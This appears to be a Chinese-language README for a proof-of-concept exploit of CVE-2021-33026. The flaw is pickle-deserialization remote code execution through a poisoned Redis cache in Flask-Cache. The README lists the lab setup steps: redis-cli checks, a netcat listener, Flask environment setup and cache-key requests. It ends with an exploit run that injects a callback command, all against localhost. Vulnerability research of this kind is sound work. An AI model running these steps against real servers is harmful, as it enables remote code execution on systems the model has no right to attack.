CVE-2021-33026 的 PoC 漏洞利用程序,通过污染 Flask-Cache 中的 Redis 缓存,利用恶意 pickle 反序列化实现远程代码执行。
Pickle序列化远程代码执行 - Redis投毒PoC利用工具
检查redis服务器是否运行
redis-cli -h 127.0.0.1 -p 6379 ping
redis-cli keys *
redis-cli get [Keyid]
在端口10001启动netcat监听:
nc -nvlp 10001
设置Flask Cache环境
python -m venv venv_flask_cache_<lib_ver>
source venv_flask_cache_<lib_ver>\scripts\activate
pip install -r <requirement.txt>
设置Flask Cache 2.3.0环境
运行Flask应用并创建缓存键:
flask run
curl --header "Content-Type: application/json" --request POST --data {"key":"Cachelib_2.3"} http://localhost:5000/cache/new
从Flask应用获取缓存键值
curl --request GET http://localhost:5000/cache/[key]
通过投毒Redis缓存来利用Flask Cache:
cve-2021-33026_PoC.py --rhost 127.0.0.1 --rport 5000 --cacheType redis --cmd "curl http://localhost:10001" --id 41685a90-434e-4d70-9a08-35b78025e09a